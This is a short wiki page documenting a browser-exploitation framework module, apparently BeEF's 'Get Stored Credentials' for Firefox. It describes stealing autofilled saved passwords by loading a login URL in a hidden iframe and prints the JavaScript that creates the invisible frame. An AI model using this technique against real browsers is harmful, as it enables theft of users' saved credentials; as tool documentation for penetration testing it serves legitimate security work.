Skip to content

Module: Get Stored Credentials

Haoxi Tan edited this page Jan 6, 2020 · 3 revisions

Summary

  • Objective: Extract credentials saved in the browser
  • Authors: bcoles
  • Browsers: Firefox
  • Code

Internal Working

This module tries to extract passwords saved in the browser by creating an iframe of the provided login_url, waiting for any password fields to be auto-filled by the browser, and then extracting it.

iframe = document.createElement("iframe");
iframe.setAttribute("id","credentials_container_<%= @command_id %>");
iframe.setAttribute("src", login_url);
iframe.setAttribute("style","display:none;visibility:hidden;border:none;height:0;width:0;");
document.body.appendChild(iframe);

Feedback

Clone this wiki locally